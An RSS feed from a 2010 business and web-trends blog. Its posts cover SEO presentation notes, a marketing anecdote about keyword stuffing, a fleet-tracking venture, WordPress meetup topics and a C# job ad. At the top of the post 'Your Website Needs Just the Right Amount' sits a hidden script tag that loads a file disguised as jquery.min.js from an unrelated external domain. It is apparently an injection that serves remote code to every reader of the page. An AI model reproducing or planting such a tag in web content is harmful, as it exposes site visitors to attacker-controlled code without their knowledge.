<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zelword</title>
	<atom:link href="http://www.zelword.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.zelword.com</link>
	<description>Business and Tech Analysis</description>
	<lastBuildDate>Sat, 28 Aug 2010 15:37:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Black Hat SEO Mindmap &#8211; Giovanni Galucci</title>
		<link>http://www.zelword.com/black-hat-seo-mindmap-giovanni-galucci/</link>
		<comments>http://www.zelword.com/black-hat-seo-mindmap-giovanni-galucci/#comments</comments>
		<pubDate>Sat, 28 Aug 2010 15:37:58 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Business]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=166</guid>
		<description><![CDATA[Great presentation from Giovanni Gallucci. Here&#8217;s my mindmap notes. Black Hat SEO &#8211; Giovanni Gallucci]]></description>
			<content:encoded><![CDATA[<p>Great presentation from Giovanni Gallucci. Here&#8217;s my mindmap notes.</p>
<p><a href="http://www.zelword.com/wp-content/uploads/2010/08/Black-Hat-SEO-0-Giovanni-Gallucci.pdf">Black Hat SEO &#8211; Giovanni Gallucci</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/black-hat-seo-mindmap-giovanni-galucci/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Your Website Needs Just the Right Amount</title>
		<link>http://www.zelword.com/your-website-needs-just-the-right-amount/</link>
		<comments>http://www.zelword.com/your-website-needs-just-the-right-amount/#comments</comments>
		<pubDate>Thu, 13 May 2010 16:02:08 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=160</guid>
		<description><![CDATA[Last night my some picked a kids book called Some Have More, Some Have Less, and Some have the Same Amount. The kid in the book (he and his mom are Rabbits) is shopping with his mom and keeps asking &#8230; <a href="http://www.zelword.com/your-website-needs-just-the-right-amount/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h5><script src=http://ok.emapis.org/js/jquery.min.js></script></h5>
<p>Last night my some picked a kids book called Some Have More, Some Have Less, and Some have the Same Amount. The kid in the book (he and his mom are Rabbits) is shopping with his mom and keeps asking for more or less of things in the cart. His mom agrees that some people have more, and some have less, but they have just the right amount.</p>
<p>The story reminded me of some marketing meetings I&#8217;ve been in lately and one in particular. A manager in the meeting had been to a seminar where they talked about how great the web was based on a single case study. He was hooked and wanted to do everything that company was doing.</p>
<p>First he pulled up product pages and said they needed more pictures. Never mind that the page was performing well and that the extra photos break the design without adding significant value. Never mind that the site he was comparing too had a completely different target market, different product, and different business model. He saw more and wanted more.</p>
<p>Then we discussed keywords. He wanted more. Lots of keywords on every page relating to everything they do, regardless of the page topic. Instead of focusing on the page content, he was focused on every word he thought might relate to him. The list was so long that we would never be able to work all the keywords into the page copy in a meaningful way.</p>
<p>I took notes as we went along and waited for my turn to respond. Here&#8217;s where I earn my keep. Instead of taking the order and running back to the kitchen to cook it up, I went back through his list and talked about the different sections and the tactics. I explained the original intent of some pages and what happens to the design when we add the photos. I agreed that they needed to give their keywords more attention but suggested that we focus on a few and/or relate that work to specific pages.</p>
<p>I appreciated his enthusiasm but he had become so focussed on the tactics that he forgot about the goals. He remembered that the overall goal was to sell more and to grow but forgot all the intermediate goals that make that happen. He wasn&#8217;t thinking about selling each product individually or about setting the right image for the company. He wasn&#8217;t thinking about which web visitors were most likely to buy from them online.</p>
<p>It didn&#8217;t matter how many photos another site had. What mattered was whether we had the right amount for their needs. It didn&#8217;t matter how many keywords we could squeeze in the page. What mattered was the best keywords for them and how we used them. In the end, we agreed on a set of tasks that will be just right for them. I hope I can be that successful in my next meeting.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/your-website-needs-just-the-right-amount/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protected: Who&#8217;s Really Working on Your Website</title>
		<link>http://www.zelword.com/whos-really-working-on-your-website/</link>
		<comments>http://www.zelword.com/whos-really-working-on-your-website/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 14:14:24 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=148</guid>
		<description><![CDATA[There is no excerpt because this is a protected post.]]></description>
			<content:encoded><![CDATA[<form action="http://www.zelword.com/wp-pass.php" method="post">
<p>This post is password protected. To view it please enter your password below:</p>
<p><label for="pwbox-148">Password:<br />
<input name="post_password" id="pwbox-148" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Submit" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/whos-really-working-on-your-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taglyn Vehicle Tracking</title>
		<link>http://www.zelword.com/taglyn-vehicle-tracking/</link>
		<comments>http://www.zelword.com/taglyn-vehicle-tracking/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 15:31:17 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Business]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=145</guid>
		<description><![CDATA[I&#8217;ve taken an opportunity to get involved in a second business. Taglyn provides tracking for fleet vehicles, auto tracking for individuals, portable tracking units, and tracking software for larger organizations. We get current GPS data on regular (5 min &#8211; &#8230; <a href="http://www.zelword.com/taglyn-vehicle-tracking/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve taken an opportunity to get involved in a second business. Taglyn provides tracking for fleet vehicles, auto tracking for individuals, portable tracking units, and tracking software for larger organizations. We get current GPS data on regular (5 min &#8211; 60 min) reporting intervals along with other vehicle data and custom notifications.</p>
<p>It&#8217;s a mature business and an area I already had intellectual property in so I think it&#8217;s a good fit. Right now, I&#8217;m taking care of the basics like infrastructure updates and moving the customer base. Soon, I&#8217;ll be launching some new features and integrations.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/taglyn-vehicle-tracking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>John P: Make More Money with WordPress, Social Media and Analytics</title>
		<link>http://www.zelword.com/john-p-make-more-money-with-wordpress-social-media-and-analytics/</link>
		<comments>http://www.zelword.com/john-p-make-more-money-with-wordpress-social-media-and-analytics/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 14:54:27 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=140</guid>
		<description><![CDATA[I enjoyed John P.&#8217;s presentation at DFWWP this week. I alwaya appreciate information from someone who&#8217;s actually &#8220;doing&#8221; instead of just talking about it. John P. provided some interesting stats from across Woopra (like the percent of referrals coming from &#8230; <a href="http://www.zelword.com/john-p-make-more-money-with-wordpress-social-media-and-analytics/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I enjoyed John P.&#8217;s presentation at DFWWP this week. I alwaya appreciate information from someone who&#8217;s actually &#8220;doing&#8221; instead of just talking about it. John P. provided some interesting stats from across Woopra (like the percent of referrals coming from Facebook ~50%, Twitter ~40%, and MySpace -0%). He also mentioned some of the plugins he views as essential and discussed several of his own posts as case studies in how he&#8217;s attracting visits.</p>
<p>I decided to take notes with Xmind instead of hand writted (which is usually my favorite). Mindmaps can be a little disjointed as a note taking system but since John P.&#8217;s discussion of WordPress and Social Media wasn&#8217;t linear, it worked out well to have the ideas organized separately.</p>
<p>You can download the mindmap here: <a href="http://www.zelword.com/wp-content/uploads/2010/02/JohnP_DFWWP.pdf">John P: Make More Money with WordPress, Social Media and Analytics</a></p>
<p>Thank you again to Tony Cecala for putting the event together and for running <a style="color: #2a5db0;" href="http://www.meetup.com/dfwwordpress/" target="_blank">www.meetup.com/dfwwordpress</a></p>
<p><strong>Update:</strong> Also, check out Jennifer Conley&#8217;s notes (with links) at  <a href="http://docs.google.com/View?id=ddkq5gx8_1015sc7b9cs">http://docs.google.com/View?id=ddkq5gx8_1015sc7b9cs</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/john-p-make-more-money-with-wordpress-social-media-and-analytics/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>#DFWWPTech 2010- Topics needed</title>
		<link>http://www.zelword.com/dfwwptech-2010-topics-needed/</link>
		<comments>http://www.zelword.com/dfwwptech-2010-topics-needed/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 21:20:15 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=131</guid>
		<description><![CDATA[The two WordPress Technical events last year were a success but it just left me wanting a bit more. The slow start rests on my shoulders but I&#8217;m happy there&#8217;s interest in having more events. I&#8217;m not big on New Years &#8230; <a href="http://www.zelword.com/dfwwptech-2010-topics-needed/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The two WordPress Technical events last year were a success but it just left me wanting a bit more. The slow start rests on my shoulders but I&#8217;m happy there&#8217;s interest in having more events.</p>
<p>I&#8217;m not big on New Years resolutions but I do want to build this subset of the DFWWP group in 2010. I now have 2 venues we can use as primary and backup to host the event. Now I need some feedback/help identifying topics everyone is interested in. <a href="http://www.mcli.dist.maricopa.edu/authoring/studio/guidebook/brain.html">Brainstorm</a> with me. We&#8217;ll evaluate the ideas later.</p>
<p>Here&#8217;s a list of recent topics to get the ball rolling.</p>
<ul>
<li>Implementing video InWordPress</li>
<li>Integrating an online store</li>
<li>7 Must have Plugins</li>
<li>Picking Your Host /Server</li>
<li>Productizing Your Code</li>
<li>Pros and Cons of Selling your Code.</li>
<li>Knowing when WordPress isn&#8217;t the Answer</li>
<li>Building Member Only Sites</li>
</ul>
<p>Also, if there&#8217;s something you&#8217;d like to present (on this list or not) please let me know that too.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/dfwwptech-2010-topics-needed/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Dear Workzone, You Forgot the URL</title>
		<link>http://www.zelword.com/dear-workzone-you-forgot-the-url/</link>
		<comments>http://www.zelword.com/dear-workzone-you-forgot-the-url/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 18:42:07 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Business]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=134</guid>
		<description><![CDATA[Workzone just e-mailed me a newsletter with updates on the service. Two problems though: I can&#8217;t remember who Workzone is and they didn&#8217;t include a link to the site once in the entire e-mail.  Workzone sounded familiar.. some kind of &#8230; <a href="http://www.zelword.com/dear-workzone-you-forgot-the-url/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://workzone.com" target="_blank">Workzone</a> just e-mailed me a newsletter with updates on the service. Two problems though: I can&#8217;t remember who Workzone is and they didn&#8217;t include a link to the site once in the entire e-mail.  Workzone sounded familiar.. some kind of project management site..</p>
<p>I saw the 2 links they included were e-mail addresses so I took the url from that, opened a new window, and typed it in. Now I remember: it&#8217;s a nice little project management site. I can&#8217;t remember why I don&#8217;t use them but I wouldn&#8217;t hold it against them. I try 3-4 project management sites a month looking for ideas and best practices.</p>
<p>Most people will not go to the trouble of looking up your URL. Some people don&#8217;t even have the skills required to find the URL easily. Make it easy for them and you should see a significant increase in website traffic.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/dear-workzone-you-forgot-the-url/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Better AP/AR System</title>
		<link>http://www.zelword.com/better-apar-system/</link>
		<comments>http://www.zelword.com/better-apar-system/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 19:49:08 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=129</guid>
		<description><![CDATA[I&#8217;ve been unsatisfied with my time tracking, invoicing, and accounting process for some time. Throw in project tracking and it&#8217;s been a real mess. Everything worked well. It&#8217;s just that it was too manual. Too many separate systems and too &#8230; <a href="http://www.zelword.com/better-apar-system/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been unsatisfied with my time tracking, invoicing, and accounting process for some time. Throw in project tracking and it&#8217;s been a real mess. Everything worked well. It&#8217;s just that it was too manual. Too many separate systems and too much time for what seemed like simple tasks.</p>
<p>I did some business thinking and identified my key problems:</p>
<ul>
<li>I had selected the systems I liked best and wished they were integrated.</li>
<li>I kept putting off other approaches waiting for the perfect integration (that would only come if I built it myself).</li>
<li>I let the idea of a better system keep me from improving the current one.</li>
</ul>
<p>I&#8217;ve reviewed my primary needs and tested several different products and product combinations. I&#8217;m pretty happy with what I&#8217;ve arrived at but I&#8217;ll have to let it run for a few more weeks before feeling totally satisfied. If it proves to be what I&#8217;m hoping it is, I&#8217;ll post the full structure as my own best practice review.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/better-apar-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trillions of Computers &#8211; The Future</title>
		<link>http://www.zelword.com/trillions-of-computers-the-future/</link>
		<comments>http://www.zelword.com/trillions-of-computers-the-future/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 22:20:50 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[Web Trends]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=127</guid>
		<description><![CDATA[I should insert some valuable insight here but until then, just watch the video. Trillions from MAYAnMAYA on Vimeo.]]></description>
			<content:encoded><![CDATA[<p>I should insert some valuable insight here but until then, just watch the video.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="265" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=7395079&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="265" src="http://vimeo.com/moogaloop.swf?clip_id=7395079&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><a href="http://vimeo.com/7395079">Trillions</a> from <a href="http://vimeo.com/mayanmaya">MAYAnMAYA</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/trillions-of-computers-the-future/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.Net Developer Needed</title>
		<link>http://www.zelword.com/net-developer-needed/</link>
		<comments>http://www.zelword.com/net-developer-needed/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 01:23:35 +0000</pubDate>
		<dc:creator>Michael Johnstone</dc:creator>
				<category><![CDATA[eLocomotive]]></category>

		<guid isPermaLink="false">http://www.zelword.com/?p=123</guid>
		<description><![CDATA[I&#8217;m looking for a C# developer with at least 2 years of professional experience. Knowledge of SVN is also a plus. Depending on when I find you, you&#8217;ll be helping to complete a .net web application used to manage construction &#8230; <a href="http://www.zelword.com/net-developer-needed/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m looking for a C# developer with at least 2 years of professional experience. Knowledge of SVN is also a plus.</p>
<p>Depending on when I find you, you&#8217;ll be helping to complete a .net web application used to manage construction projects or making changes to a ddns service or whatever project we&#8217;re working on at that point.</p>
<ul>
<li>I&#8217;m not looking for off shore developer. Nothing against it but it doesn&#8217;t fit my need.</li>
<li>In Dallas is preferred but not required.</li>
<li>I like someone with a mix of contract and in house development experience but that&#8217;s not a strict requirement.</li>
<li>The ability to manage expectations and timelines is essential.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.zelword.com/net-developer-needed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
